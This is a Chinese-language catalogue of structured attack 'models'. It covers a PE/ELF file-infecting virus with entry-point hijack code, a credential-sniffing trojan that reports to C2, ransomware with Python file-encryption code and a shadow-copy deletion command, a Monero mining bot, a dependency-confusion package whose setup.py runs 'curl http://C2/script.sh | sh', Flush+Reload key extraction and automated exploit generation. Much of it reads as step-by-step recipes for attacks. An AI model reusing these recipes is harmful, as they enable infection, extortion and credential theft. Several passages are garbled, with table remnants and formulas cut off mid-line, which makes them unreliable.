状态：S0-初始化队列，S1-选择种子，S2-变异生成输入，S3-执行目标程序（插桩），S4-收集覆盖信息，S5-评估（是否有新覆盖/是否崩溃），S6-更新队列，S7-（崩溃）记录。
转换：S0->S1，S1->S2，S2->S3，S3->S4，S4->S5，S5->(新覆盖)S6，S5->(崩溃)S7，S6/S7->S1（循环，直到资源耗尽）。

集合：种子队列（可视为优先级队列），覆盖位图（集合的位表示）。
概率：变异操作的概率选择。
遗传算法：将输入视为基因，通过变异和选择（基于覆盖）进化。
图论：程序控制流图的边覆盖。
统计：覆盖率随时间增长曲线。
优化：种子能量调度（更“有趣”的种子获得更多变异资源）。

插桩点插入的汇编代码，用于记录边覆盖。输入数据的二进制或文本格式。

1. 初始化：SeedQueue = InitialSeeds，GlobalBitmap.clear()。
2. While (execs < MaxExecs):
a. 从SeedQueue中按调度算法（如轮盘赌）选择一个种子s。
b. 为种子s分配能量E = assign_energy(s)。
c. For i=1to E: 对s进行随机变异，生成输入I。变异包括：bit_flip(I, pos)，add_sub(I, pos, val)，havoc(I)（多种随机变异的组合）等。
d. 执行P_instrumented(I)，子进程退出状态为status，获得本次执行的局部位图local_bm。
e. 计算local_bm与GlobalBitmap的异或，得到新发现的边集合new_bits。
f. 如果new_bits非空，则将I加入SeedQueue，并更新`GlobalBitmap

= local_bm。<br> g. 如果status指示崩溃（如SIGSEGV），则将I保存到Crashes目录。<br> h.execs++`。

顺序（种子选择与变异） + 并行（可并行执行多个测试用例）

时间：O(执行次数 * 程序运行时间)。可通过并行化大幅提升。
空间：O(种子队列大小 + 位图大小)，通常可控。

通用CPU：主要开销在于目标程序的反复执行。插桩代码会增加额外开销（记录边覆盖的位操作）。变异过程是纯CPU计算（位操作、随机数生成）。
指令序列：模糊测试器本身：随机数生成指令 -> 内存/字节操作指令（变异）-> 进程创建系统调用（fork/exec）。目标程序：其自身的指令，加上插桩的位设置指令（如OR [bitmap_addr], bit_mask）。

Virus1-0010

集成电路缺陷

基于形式化验证的属性检查模型

模型检查（Model Checking）

1. 系统建模：将硬件设计（如RTL代码）抽象为有限状态机（FSM）模型M = (S, S0, T, L)，其中S是状态集合，S0⊆S是初始状态，T⊆S×S是转移关系，L是状态标签函数。
2. 属性规约：用时序逻辑公式（如LTL, CTL）描述待验证的属性φ。例如，G!(req && !ack)表示“永远不要出现req为真且ack为假”。
3. 状态空间搜索：从初始状态S0开始，系统化地遍历所有可达状态，检查每个状态是否满足属性φ。算法核心：if ∃s ∈ Reachable(M) such that M, s ⊭ φ, then report counterexample。
4. 反例生成：如果属性不满足，算法生成一条从初始状态到违规状态的路径（反例），供调试。

完备性：理论上可穷尽所有状态，但受状态爆炸限制。精度：高，能给出确定性是/否答案。

时序逻辑（LTL, CTL）、自动机理论（Büchi自动机）、图论（状态空间图）、不动点定理

1. 硬件死锁检测
2. 仲裁器公平性验证
3. 缓存一致性协议验证
4. 硬件安全属性验证（如信息流）
5. 有限状态机等价性检查
6. 交通灯控制器逻辑验证
7. 通信协议验证（如握手协议）
8. 微处理器指令执行正确性验证（部分）
9. 硬件木马检测（特定属性）
10. SoC互联总线协议验证

常量：系统模型M，待验证属性φ。
变量：已访问状态集合Visited，待探索状态队列/栈Worklist，反例路径Counterexample。
参数：搜索策略（DFS, BFS），状态空间简化技术（抽象解释、对称归约），模型检查算法（显式、符号化BDD、有界）。

状态：S0-初始化模型与属性，S1-状态空间探索，S2-检查属性，S3-属性满足（继续探索），S4-属性违反（生成反例），S5-状态空间穷尽/超时。
转换：S0->S1，S1->(取新状态s)S2，S2->(s满足φ)S3，S2->(s不满足φ)S4，S3->(有未探索后继)S1，S3->(无未探索后继)S5，S4->结束（返回假），S1->(无新状态)S5（返回真）。

逻辑：时序逻辑公式的语义。
集合：状态集合，转移关系。
图论：状态空间是一个有向图。
不动点：CTL模型检查算法常表达为不动点计算。
计算：状态遍历，可能涉及符号计算（BDD）。
复杂度：状态空间大小是指数级的（状态爆炸问题）。

时序逻辑公式（LTL: G, F, X, U; CTL: AX, EX, AG, EG, AU, EU），硬件描述语言（Verilog, VHDL）的状态机模型。

1. 将RTL转换为一个标签迁移系统（LTS）或Kripke结构M。
2. 将自然语言属性形式化为LTL公式φ，例如G (grant -> F release)。
3. 将φ转换为等价的Büchi自动机A_¬φ（表示违反属性的行为）。
4. 计算模型M与自动机A_¬φ的乘积自动机P = M ⊗ A_¬φ。
5. 在P中搜索可接受运行（即满足A_¬φ的接受条件）。公式：L(P) ≠ ∅ ?。
6. 如果L(P)非空，则存在一条被M接受且被A_¬φ接受的路径，即M违反φ。输出该路径作为反例。
7. 如果L(P)为空，则M ⊨ φ。

顺序（深度或广度优先遍历）

时间：最坏情况O(

S

+

Virus1-0011

病毒

基于入口点模糊（EPO）与代码整合的感染模型

入口点模糊病毒

1. 目标定位：感染可执行文件（PE, ELF），找到其原始入口点（Original Entry Point, OEP）RVA_oep。
2. 代码植入：将病毒体代码V加密或压缩后，写入目标文件的新节（section）或间隙（cavity）。记新代码的RVA为RVA_virus。
3. 入口点修改：将文件头中的入口点地址修改为病毒代码的入口RVA_virus。
4. 原始代码转移与跳转：在病毒代码执行完毕后，需要跳转回原程序OEP。为此，病毒代码可能：
a. 将原OEP处的代码块C_orig移动到文件其他位置（RVA_orig_new）。
b. 在病毒体末尾添加跳转指令JMP RVA_orig_new（如果移动了OEP代码），或直接JMP RVA_oep（如果OEP代码未被移动但已被病毒覆盖部分，需先恢复）。
5. 解密/解压与执行：病毒体可能被加密，需要先执行解密代码decrypt(V, key)，然后执行病毒功能，最后跳回原程序。

感染成功率：高，对许多不校验完整性的程序有效。隐蔽性：中，修改入口点可被静态分析发现。

PE/ELF文件格式、代码重定位、加密解密、控制流劫持

1. 感染Windows PE可执行文件（EXE, DLL, SCR）
2. 感染Linux ELF可执行文件
3. 感染系统驱动程序
4. 感染引导扇区与PE文件复合病毒
5. 感染压缩包内的可执行文件
6. 感染脚本解释器（如Python字节码.pyc）
7. 通过感染安装程序进行供应链攻击
8. 感染游戏模组文件
9. 感染固件更新包
10. 作为漏洞利用的Shellcode载体

常量：病毒体代码V，加密算法EncAlgo，密钥K（可能每代不同）。
变量：目标文件句柄hFile，OEP RVA_oep，病毒体新区RVA RVA_virus，原始代码备份位置RVA_backup。
参数：感染方式（添加新节/间隙填充），是否加密Flag_Encrypt，是否移动原OEP代码Flag_MoveOEP。

状态：S0-打开目标文件，S1-解析文件头，获取OEP，S2-决定植入位置（新节/间隙），S3-（可选）移动原OEP代码，S4-写入病毒体，S5-修改文件头入口点为病毒体，S6-（可选）修复导入表/重定位，S7-关闭文件。
转换：S0->S1，S1->S2，S2->S3，S3->S4，S4->S5，S5->S6，S6->S7。病毒执行时：S_virus-解密/解压-> S_virus-执行恶意负载-> S_virus-跳回OEP。

代数：计算文件偏移与虚拟地址（VA/RVA）转换：FileOffset = VA - ImageBase - Section.VirtualAddress + Section.PointerToRawData。
逻辑：判断文件是否有足够空间（间隙或可添加新节）。
加密：简单异或或对称加密。
集合：文件节区集合。

PE文件头结构（IMAGE_DOS_HEADER, IMAGE_NT_HEADERS），节区表（IMAGE_SECTION_HEADER），汇编跳转指令（E9 JMP）。

1. 打开目标文件，读取DOS头和PE头。
2. 从IMAGE_OPTIONAL_HEADER.AddressOfEntryPoint获取OEP的RVA：RVA_oep。
3. 遍历节区表，寻找是否有足够大的间隙（SizeOfRawData与 VirtualSize的差值）或文件末尾空间。若无，则添加一个新节（需修改NumberOfSections，并更新后续节区的文件偏移）。
4. 计算病毒体写入的文件偏移FO_virus和对应的RVA RVA_virus。
5. （可选）将原OEP处代码（比如前N字节）复制到病毒体之后或新位置RVA_backup。
6. 构造病毒代码：解密子程序 + 加密的病毒体主代码 + 跳转指令JMP RVA_backup（或JMP RVA_oep如果未移动原代码）。
7. 将构造好的病毒代码写入FO_virus。
8. 修改PE头的AddressOfEntryPoint为RVA_virus。
9. （可选）如果病毒代码需要导入函数，需修改导入表（IAT）。
10. 保存文件。

严格顺序执行（感染过程）

时间：O(文件大小)，主要是文件I/O操作。
空间：需要内存存储病毒体、文件头信息和部分原代码。

通用CPU：执行文件读写系统调用、内存中计算地址偏移、加密解密运算（如果加密）。感染过程是用户态操作，不涉及特殊指令。
指令序列：文件打开/读取/写入系统调用 -> 内存拷贝指令（复制节区数据）-> 算术指令（计算地址）-> 加密指令（如XOR循环）。

C代码片段（修改PE入口点）：
// 假设pNtHeader指向PE文件头
DWORD oldEntryPoint = pNtHeader->OptionalHeader.AddressOfEntryPoint;
pNtHeader->OptionalHeader.AddressOfEntryPoint = virusRVA;
// ... 写入病毒代码到文件 ...
// 病毒代码末尾的跳转，通常用汇编内联
// __asm { jmp oldEntryPoint }

Virus1-0012

木马/信息窃取

基于网络流量嗅探与协议解析的模型

网络嗅探与协议分析木马

1. 网卡设置为混杂模式：调用pcap_set_promisc(pcap_t *p, int promisc)将网络接口卡设置为混杂模式，接收所有经过网卡的流量。
2. 捕获数据包：循环调用pcap_next(pcap_t *p, struct pcap_pkthdr *hdr, const u_char *packet)捕获原始数据包。
3. 协议解码：根据以太网帧类型字段解析网络层（IP, ARP），再根据IP头协议字段解析传输层（TCP, UDP），最后根据端口号解析应用层协议（HTTP, FTP, SMTP, DNS等）。
4. 敏感信息提取：对解析出的应用层数据，使用正则表达式或关键字匹配寻找敏感信息，如：
- HTTP POST数据中的username、password字段。
- FTP命令中的USER和PASS。
- SMTP/POP3中的明文认证信息。
5. 数据回传：将提取的敏感信息加密后发送到C2服务器。

信息获取范围：局域网内或本机流量。精度：依赖协议解析准确性，对加密流量（HTTPS）无效。

计算机网络协议栈（TCP/IP模型）、正则表达式、数据包过滤（BPF）、网络嗅探原理

1. 窃取局域网内明文传输的网站密码
2. 监控电子邮件内容（未加密的SMTP/POP3）
3. 捕获FTP文件传输凭证和文件名
4. 窃取即时通讯软件早期版本或配置不当的明文消息
5. DNS查询记录监控
6. 网络游戏通信协议分析（用于外挂）
7. 企业内部网络敏感信息泄露监测（合法用途）
8. VoIP（如SIP）信令窃听
9. 数据库查询嗅探（如未加密的MySQL）
10. 物联网设备明文协议分析

常量：网络接口名iface，BPF过滤表达式filter_exp（如"tcp port 80 or tcp port 21 or ..."），敏感信息模式Patterns（正则表达式列表）。
变量：pcap句柄pcap_t *p，数据包缓冲区packet，已解析的协议栈信息proto_info，提取到的敏感数据列表sensitive_data。
参数：是否实时解析Flag_realtime，保存完整数据包的容量Max_packets，要监听的端口列表Ports。

状态：S0-初始化嗅探器，S1-设置过滤规则，S2-开始捕获循环，S3-接收数据包，S4-协议解码，S5-应用层解析与模式匹配，S6-提取敏感信息，S7-存储/发送信息。
转换：S0->S1，S1->S2，S2->S3，S3->S4，S4->(匹配目标协议)S5，`

Virus1-0013​

勒索软件​

基于非对称加密的文件锁定模型

混合加密勒索模型

1. 密钥生成：在受害者机器上生成一个唯一的对称密钥K_sym（用于AES加密文件）和一个临时的非对称密钥对(PK_temp, SK_temp)。理想情况是使用攻击者控制的C2公钥PK_c2，离线生成K_sym并用PK_c2加密，避免在本地生成密钥对。
2. 文件遍历与过滤：递归遍历文件系统，根据扩展名列表Ext_List（如.docx, .xlsx, .jpg, .pdf）选择目标文件。跳过系统关键目录。
3. 文件加密：对每个目标文件F，用K_sym加密其内容C = Enc_AES(F_content, K_sym)。为提升速度，可能只加密文件前N个字节。
4. 密钥保护：将对称密钥K_sym用攻击者的固定公钥PK_c2加密，得到C_K = Enc_RSA(K_sym, PK_c2)，并嵌入到加密文件中或保存在本地。
5. 勒索信生成：在每个目录或桌面创建勒索信（如README.txt），包含付款方式、唯一ID和C_K（如果未嵌入）。
6. 自毁与持久化：删除卷影副本（vssadmin delete shadows /all）、清除备份，并可能添加自启动项。

加密强度：高。使用RSA-2048/AES-256时，若无私钥SK_c2，暴力破解不可行。破坏性：强，文件恢复依赖于备份或支付赎金。

公钥密码学（RSA）、对称密码学（AES）、文件系统操作、博弈论（勒索策略）

1. 针对企业服务器的加密勒索
2. 通过RDP爆破传播的勒索软件
3. 蠕虫式传播的勒索软件（如WannaCry）
4. 针对数据库文件的加密勒索
5. 针对虚拟机镜像文件的加密
6. 针对备份系统的加密
7. 双重勒索（加密+数据泄露威胁）
8. 针对NAS网络存储设备的勒索
9. 针对工业控制系统文件的勒索
10. 通过软件供应链传播的勒索

常量：攻击者公钥PK_c2，目标文件扩展名列表Ext_List，排除目录列表Exclude_Dirs。
变量：本地生成的对称密钥K_sym，加密的密钥C_K，已加密文件计数Count，受害者唯一IDVictimID。
参数：加密模式（全文件/部分加密），是否删除卷影副本Flag_DeleteShadow，是否修改文件扩展名Flag_RenameExt（如改为.locked），勒索金额RansomAmount。

状态：S0-初始化（生成/获取密钥），S1-遍历文件系统，S2-选择目标文件，S3-加密文件内容，S4-（可选）修改扩展名/添加标记，S5-记录加密信息，S6-（遍历完成后）创建勒索信并执行清理。
转换：S0->S1，S1->(是目标)S2，S2->S3，S3->S4，S4->S5，S5->S1（继续遍历），S1->(遍历完成)S6。

集合：目标文件集合，排除目录集合。
密码学：AES加密算法C = E(K, P)，RSA加密算法C = m^e mod n。
图论：文件系统树形遍历。
优化：多线程并行加密加快速度。
博弈论：设定赎金金额与支付概率的模型。

文件I/O操作，加密API调用，勒索信文本（自然语言，多国语言）。

1. 启动：K_sym = RANDOM(32 bytes)；C_K = RSA_Encrypt(K_sym, PK_c2)。
2. 从根目录/或指定盘符开始深度优先搜索（DFS）。
3. 对每个文件f：if (f.extension in Ext_List && f.path not in Exclude_Dirs) {
4. 读取文件内容P = f.read()。
5. 加密：C = AES_Encrypt_CBC(P, K_sym, IV)。
6. 将C写回文件，覆盖原内容。
7. 可选：f.rename(f.name + ".encrypted")。
8. 记录f.path到日志。
9. }
10. 在所有用户桌面创建README.txt，内容包含VictimID、C_K（或链接）、付款地址和金额。

顺序（文件遍历）+ 并行序列（多线程加密文件）

时间：O(N * F_size)，N为文件数，F_size为平均文件大小。加密是大头。
空间：O(1) 除了加密时的缓冲区，但需要存储密钥和日志。

通用CPU：密集的文件读写系统调用、加密指令（AES-NI, RSA加速指令如MULX、ADOX）。多线程用于并行加密。
指令序列：文件打开/读取/写入系统调用 -> 产生随机数的指令（RDRAND）或调用/dev/urandom-> AES加密指令（AESENC, AESENCLAST） -> RSA模幂运算指令（大数运算） -> 线程同步指令。

Python伪代码（加密核心）：
from Crypto.Cipher import AES
from Crypto.PublicKey import RSA
import os
def encrypt_file(filepath, sym_key):
iv = os.urandom(16)
cipher = AES.new(sym_key, AES.MODE_CBC, iv)
with open(filepath, 'rb+') as f:
data = f.read()
encrypted = iv + cipher.encrypt(pad(data)) # 添加IV
f.seek(0); f.write(encrypted)
os.rename(filepath, filepath + '.locked')

Virus1-0014​

木马/僵尸网络​

基于资源窃取的加密货币挖矿模型

门罗币（Monero）CPU挖矿僵尸

1. C2通信与配置获取：与C2服务器建立连接，获取挖矿配置：矿池地址Pool_Addr:Port，钱包地址Wallet_Addr，矿工标识Worker_ID，CPU使用率上限CPU_Limit。
2. 挖矿算法加载：在内存中加载或下载Cryptonight或RandomX等算法的代码。可能通过反射DLL注入或Shellcode直接执行。
3. 哈希计算：核心是不断尝试计算Nonce，使得区块头哈希满足难度目标Target。即寻找Nonce使得`H(Block_Header

Nonce) < Target，其中H是挖矿算法（如RandomX）。<br>4. **任务获取与提交**：与矿池保持长连接，接收新任务job（包含区块模板），进行计算，当找到有效Nonce（Share）时提交给矿池。<br>5. **资源管理与隐匿**：通过SetThreadAffinity和SetPriorityClass`控制CPU使用率，避免系统卡顿；结束其他挖矿进程以独占资源；添加防火墙规则放行矿池连接。

算力：取决于感染的CPU核心数与性能。隐匿性：中，高CPU占用可能被用户察觉。收益模型：收益R ∝ (Hashrate * Time) / Network_Difficulty。

工作量证明（PoW）共识算法、哈希函数（RandomX, Cryptonight）、概率论（寻找Nonce是伯努利试验）、资源调度

1. 感染企业服务器进行隐秘挖矿
2. 通过漏洞利用工具包（EKs）传播挖矿木马
3. 感染云服务器实例（挖矿劫持）
4. 感染网站，通过浏览器进行挖矿（挖矿脚本）
5. 感染物联网设备（如路由器）挖矿
6. 感染移动设备（Android）挖矿
7. 伪装成合法软件或破解工具传播
8. 利用永恒之蓝等漏洞横向移动挖矿
9. 在游戏私服或外挂中捆绑
10. 供应链攻击投毒（如NPM包）

常量：C2地址（初始），挖矿算法标识Algo。
变量：矿池连接句柄pool_conn，当前任务job，当前计算的Noncenonce，本地哈希率hashrate。
参数：CPU使用率上限CPU_Limit（如75%），是否启用持久化Flag_Persist，是否杀竞品挖矿进程Flag_KillCompetitors，矿池协议（Stratum）。

状态：S0-获取配置，S1-连接矿池，S2-接收任务，S3-进行哈希计算，S4-检查结果（是否找到Share），S5-提交Share，S6-（定期）更新任务/心跳。
转换：S0->S1，S1->S2，S2->S3，S3->S4，S4->(找到)S5，S4->(未找到)S3（继续尝试下一个Nonce），S5->S2，S2->(新任务)S3，S2->(心跳)S6，S6->S2。

概率：每次哈希尝试找到有效Share的概率为p = Target / 2^256，极低。
统计：哈希率是单位时间尝试次数，找到Share的时间期望服从几何分布。
优化：算法实现优化（使用AES-NI, 大页内存），CPU亲和性优化。
计算：密集的哈希计算，内存硬算法（RandomX）消耗大量内存带宽。

矿池通信协议（Stratum协议，JSON-RPC），挖矿算法内核的汇编/C代码，配置文件（JSON格式）。

1. 连接C2：config = download_config(C2_URL)。
2. 连接矿池：sock = connect(config.pool_addr, config.pool_port)。
3. 认证：发送{"id":1, "method":"login", "params":{"login":wallet, "pass":worker}}。
4. 接收任务：job = recv(sock)，包含job_id, blob, target等。
5. 挖矿循环：while(True) {
a. 从blob构造区块头header。
b. 对nonce从0递增（或随机）：hash = randomx_calculate_hash(header_with_nonce)。
c. 将hash与target比较：if (uint256(hash) < target) { break; }//找到share
d. 如果没有，nonce++。
6. 提交：发送{"method":"submit", "params": {"id": worker, "job_id": job.job_id, "nonce": nonce_hex, "result": hash_hex}}。
7. 接收新任务或继续。

顺序（任务计算）+ 并行（多CPU核心并行计算）

时间：无限循环，计算密集型。复杂度取决于哈希函数，RandomX单次哈希约2ms（现代CPU）。
空间：RandomX需要约2GB的大页内存存储数据集。

X86 CPU：执行挖矿算法的特定指令。RandomX大量使用AES-NI指令（AESENC, AESDEC）、浮点指令、以及内存读写。对CPU缓存和内存带宽压力大。
指令序列：AES轮指令 -> 浮点乘加指令 -> 整数算术指令 -> 条件分支 -> 内存加载/存储指令（频繁）。

C代码片段（简化挖矿循环）：
void mine_loop(job_t *job) {
uint8_t blob[128];
build_blob(blob, job->blob_template, job->height);
uint32_t nonce = 0;
while (!should_stop) {
set_nonce(blob, nonce); // 在blob指定位置写入nonce
uint8_t hash[32];
randomx_calculate_hash(rx_vm, blob, sizeof(blob), hash);
if (check_hash_against_target(hash, job->target)) {
submit_share(job, nonce, hash);
}
nonce++;
}
}

Virus1-0015

供应链攻击

基于依赖混淆与恶意包发布的投毒模型

依赖混淆攻击（Dependency Confusion）

1. 信息收集：扫描目标项目（如package.json, requirements.txt, pom.xml），提取其使用的内部私有依赖包名称列表 L_private = {p1, p2, ..., pn}。
2. 公共包名抢注：在公共软件仓库（如PyPI, npm, NuGet）上，检查L_private中每个包名p_i是否存在。若不存在，则执行步骤3。
3. 恶意包构造：创建一个同名的公共包p_i_malicious，将其版本号设置为远高于内部私有包版本（如99.0.0）。在包的安装脚本（setup.py, postinstall）或实际代码中嵌入恶意载荷Payload。
4. 上传与发布：将恶意包发布到公共仓库。依赖解析顺序通常遵循：公共源 > 私有源。因此，当目标构建系统（CI/CD）拉取依赖时，会优先下载高版本的恶意公共包p_i_malicious。
5. 载荷触发：恶意包的安装脚本或代码在构建/部署环境中自动执行，实现初始访问。

攻击成功率：依赖目标项目配置，若未正确配置私有源优先级，则成功率较高。误报率：低（针对性地攻击使用私有包的项目）。

软件供应链理论、依赖解析算法（语义版本控制）、博弈论（名称抢注）

1. 入侵企业CI/CD流水线
2. 窃取构建环境机密（如API密钥）
3. 在内部应用软件中植入后门
4. 进行横向移动，攻击内部网络
5. 加密货币挖矿
6. 数据外泄
7. 软件发布渠道投毒
8. 开源软件生态污染
9. 针对物联网设备固件构建链攻击
10. 云原生应用容器镜像构建攻击

常量：目标项目配置文件路径、公共仓库API端点、恶意载荷Payload。
变量：私有包名列表L_private、公共包发布状态PubStatus、构建系统环境变量EnvVars。
参数：恶意包版本号Ver_malicious、是否自动执行Flag_AutoExec、依赖混淆触发条件（如仅在特定分支构建时触发）。

状态：S0-扫描项目配置-> S1-提取私有包名-> S2-查询公共仓库-> S3-注册并发布恶意包-> S4-等待触发-> S5-载荷执行-> S6-清理痕迹（可选）。

集合论：私有包名集合、公共包名集合的差集运算。
图论：软件依赖关系图。
排序：版本号比较算法（语义化版本）。
概率：目标构建系统采用默认配置的概率。

软件包配置文件语法（JSON, YAML）、安装脚本语言（Python, JavaScript, Shell）、公共仓库API调用。

1. 下载或爬取目标代码仓库。
2. 解析package.json，提取dependencies和devDependencies中的所有包名D。
3. 过滤D，通过与已知私有仓库URL模式匹配或启发式规则，得到疑似私有包列表L_private。
4. 对L_private中每个包p，调用公共仓库API：GET /{p}，若返回404，则p可被抢注。
5. 为p构造恶意包，在setup.py中：`os.system(‘curl http://C2/script.sh

sh’)。<br>6. 使用twine upload等工具上传包。<br>7. 当目标执行npm install或pip install时，解析器选择版本更高的恶意包，从而执行恶意脚本。方程式：Build_Env -> resolve(p) = argmax_{v∈Public∪Private}(version(p_v))，理想情况下v_malicious`被选中。

顺序（扫描-查询-发布）+ 事件驱动（等待构建触发）

时间：O(n)，n为依赖数量。主要开销在网络请求和包发布。
空间：O(恶意包体积)，通常很小。

通用CPU：执行网络I/O（API请求、包上传）、文件I/O（读写配置文件、包文件）、脚本解释（Python, Node.js）。载荷执行时可能调用系统命令。
指令序列：网络套接字指令 -> 字符串解析指令 -> 文件系统调用 -> 进程创建（system调用）。

Virus1-0016

AI安全/对抗攻击

基于梯度符号的对抗样本生成模型

快速梯度符号法（FGSM）

1. 前向传播：将干净输入x输入目标模型f，得到预测输出f(x)和损失J(θ, x, y_true)，其中θ为模型参数，y_true为真实标签。
2. 梯度计算：计算损失函数相对于输入x的梯度：∇_x J(θ, x, y_true)。
3. 梯度符号提取：取梯度的符号函数sign(∇_x J)，得到扰动方向。sign(g) = 1 if g > 0 else -1 if g < 0 else 0。
4. 扰动生成：将符号化的梯度乘以一个小的扰动系数ε，生成对抗性扰动：η = ε * sign(∇_x J)。
5. 对抗样本合成：将扰动添加到原始输入上，生成对抗样本：x_adv = x + η。为确保像素值有效，需进行裁剪：x_adv = clip(x_adv, 0, 1)。

攻击强度：由ε控制，ε越大，攻击成功率越高，但扰动越明显。在ImageNet上，ε=0.005可导致模型top-1准确率下降显著。扰动距离：L∞范数有界，`

η

_∞ ≤ ε`。

梯度下降优化、线性扰动假设、对抗样本的线性解释

1. 误导图像分类器（如将“停车标志”识别为“限速标志”）
2. 逃避恶意软件/网络流量检测模型
3. 欺骗语音识别系统
4. 误导自然语言处理模型（文本分类、情感分析）
5. 自动驾驶感知系统攻击
6. 人脸识别系统欺骗
7. 对抗性补丁物理世界攻击
8. 验证码识别攻击
9. 人工智能安全测试
10. 生成对抗性训练数据

常量：原始输入x，真实标签y_true，模型参数θ，损失函数J。
变量：梯度g，对抗扰动η，对抗样本x_adv。
参数：扰动系数ε，范数约束类型（L∞, L2），是否进行迭代Iterative。

状态：S0-输入干净样本-> S1-前向计算损失-> S2-反向传播求输入梯度-> S3-计算扰动符号-> S4-生成并添加扰动-> S5-裁剪到有效空间-> S6-输出对抗样本。

微积分：梯度计算∇_x J。
线性代数：向量加法x + η。
优化：在输入空间的梯度方向进行一步扰动以最大化损失。
范数：L∞范数约束。

深度学习框架API调用（如PyTorch的backward()）、张量运算。

1. 前向传播：loss = criterion(f(x), y_true)。
2. 反向传播求梯度：loss.backward()，获取x.grad。
3. 计算扰动：perturbation = epsilon * x.grad.sign()。
4. 生成对抗样本：x_adv = x + perturbation。
5. 数值裁剪：x_adv = torch.clamp(x_adv, 0, 1)。
6. 用f(x_adv)进行预测，期望得到错误分类。方程：x_adv = x + ε · sign(∇_x J(θ, x, y_true))。

Virus1-0017

硬件缺陷（侧信道）

基于缓存计时差异的密钥提取模型

缓存计时攻击（如Flush+Reload）

1. 监视目标地址：攻击者与受害者共享内存（如共享库）。确定受害者可能访问的敏感代码/数据地址A_target（如AES加密轮函数查表地址）。
2. 刷新缓存：使用clflush指令将A_target对应的缓存行从所有级缓存中驱逐，使其状态变为“未缓存”。
3. 等待：等待一个短暂的时间窗口Δt，让受害者有可能执行。
4. 重新加载并计时：攻击者访问A_target，并精确测量加载时间T_access。如果T_access短（缓存命中），说明受害者在步骤3期间访问了该地址；如果T_access长（缓存未命中），则说明受害者未访问。
5. 密钥推断：重复步骤2-4多次，针对不同的可能密钥值对应的目标地址，统计访问模式。利用密钥与查表索引的映射关系index = f(key, plaintext)，通过统计分析（如相关系数）推断出正确密钥k。

信息泄露率：每次测量泄露1比特信息（命中/未命中）。成功率：高，在可控环境中（如云服务器）可接近100%。时间分辨率：需要高精度计时器（如rdtsc）。

计算机体系结构（缓存层次、一致性）、统计推断、密码学实现细节

1. 跨VM边界提取AES、RSA密钥（云环境）
2. 攻击JavaScript中的密码学实现（浏览器）
3. 智能手机上提取密钥（应用间攻击）
4. SGX飞地内秘密提取
5. 微架构数据采样（如Meltdown, Spectre变种的基础）
6. 针对密码学硬件模块的旁路攻击
7. 网站指纹识别（通过缓存侧信道）
8. 击键计时侧信道
9. 机器学习和隐私模型参数提取
10. 工业控制系统监控数据窃取

常量：目标内存地址A_target，共享库基址LibBase，缓存行大小CACHE_LINE（通常64字节）。
变量：访问时间T_access，命中/未命中序列Trace，猜测的密钥k_guess。
参数：等待时间Δt，采样次数N_samples，计时阈值T_threshold（区分命中/未命中）。

状态：S0-定位目标地址-> S1-刷新缓存（clflush）-> S2-等待/让出CPU-> S3-高精度计时开始（rdtsc）-> S4-访问目标地址-> S5-计时结束-> S6-判断命中/未命中-> S7-记录并更新统计-> S8-推断密钥。

概率与统计：假设受害者访问A_target的概率与密钥相关。利用假设检验（如t-test）或相关系数分析。
时间序列：精确的时序测量序列。
集合：可能密钥的搜索空间。
优化：减少噪声，提高信噪比。

内联汇编（clflush, rdtsc）、内存操作指针、统计计算代码。

1. 攻击者进程：通过/proc/self/maps或dlopen获取共享库映射地址，计算目标函数地址A_target。
2. 循环N次：
a. _mm_clflush(A_target)// 驱逐缓存
b. nanosleep(Δt)或 sched_yield()// 让出CPU
c. t1 = __rdtsc()
d. volatile char v = *A_target// 访问目标地址
e. t2 = __rdtsc(); T = t2 - t1
f. if (T < T_threshold) { trace[i] = 1 } else { trace[i] = 0 }// 1表示命中
3. 对于每个密钥猜测k_g，根据明文P_i计算其预期访问的索引idx_i = f(k_g, P_i)，从而得到预期访问模式向量V_g。
4. 计算实测轨迹trace与V_g的皮尔逊相关系数ρ。
5. 选择使`

ρ

最大的k_g`作为密钥。

顺序（迭代采样）+ 随机序列（受害者访问时间不确定）

时间：O(N *

Virus1-0018

漏洞发现（自动化利用）

基于符号执行与约束求解的漏洞利用生成

自动化漏洞利用生成（AEG）

1. 漏洞点定位：通过模糊测试、符号执行或静态分析发现一个潜在漏洞点V（如栈缓冲区溢出），并记录其程序上下文（寄存器和内存状态）。
2. 路径约束收集：从程序入口点到漏洞点V，通过符号执行收集路径约束Φ_path。
3. 漏洞约束建模：在漏洞点V，将漏洞利用条件形式化为约束Φ_exploit。例如，对于栈溢出控制EIP，需满足：*esp ∈ Gadget_Addr_Set，其中esp被溢出数据控制。
4. 约束求解：将Φ_path ∧ Φ_exploit作为整体输入约束求解器（如Z3），求解得到具体输入I。若可解，则I既能触发漏洞又能满足利用条件。
5. 利用链构造：如果直接控制流劫持不足以完成利用（如需要ROP链），则需在Φ_exploit中建模更复杂的约束，如：payload的布局需满足一系列gadget的链式调用约束。求解器需同时求解输入内容和内存布局。

成功率：高度依赖约束求解能力和漏洞的可利用性建模。对于简单漏洞（如直接跳转到shellcode）成功率较高。

程序分析、符号执行、约束求解、控制流劫持理论、ROP编译

1. 为栈缓冲区溢出生成shellcode注入利用
2. 为堆溢出生成“unlink”或“fastbin”攻击利用
3. 格式化字符串漏洞利用生成
4. 逻辑漏洞的自动化攻击（如条件竞争）
5. 内核驱动漏洞利用生成
6. 浏览器渲染器漏洞利用生成
7. 智能合约重入攻击利用生成
8. 自动化绕过漏洞缓解措施（如ASLR，通过部分信息泄露）
9. CTF竞赛自动化解题
10. 红队自动化渗透测试工具

常量：目标程序P，漏洞点PCPC_vuln，可利用的代码片段地址集合（gadgets）。
变量：路径约束Φ_path，漏洞利用约束Φ_exploit，求解得到的输入I，内存状态映射MemMap。
参数：求解器超时时间、搜索深度、是否考虑ASLR（需将地址建模为符号值+偏移）。

状态：S0-发现漏洞点-> S1-符号执行至漏洞点-> S2-收集路径约束-> S3-构建漏洞利用约束-> S4-调用约束求解器-> S5-（可满足）生成利用输入-> S6-（不可满足）尝试其他利用策略或放弃。

逻辑：路径约束和利用约束是逻辑公式的合取。
集合：gadget地址集合，可控制内存区域集合。
代数：约束求解涉及算术、位向量、数组理论。
图论：控制流图，ROP链构成一个有向图。
优化：约束简化，gadget搜索与选择。

中间表示语言（如VEX, LLVM IR）、SMT-LIB语言、ROP链描述。

1. 符号执行引擎从入口点开始运行，记录路径约束Φ_path，直到到达漏洞点PC_vuln。
2. 在PC_vuln，假设一个栈溢出漏洞，攻击者控制了返回地址ret_addr和其后的内存。将ret_addr和后续内存内容设为符号变量S1, S2, ...。
3. 利用约束：
a. 控制流劫持：S1 ∈ {gadget1_addr, gadget2_addr, ...}。
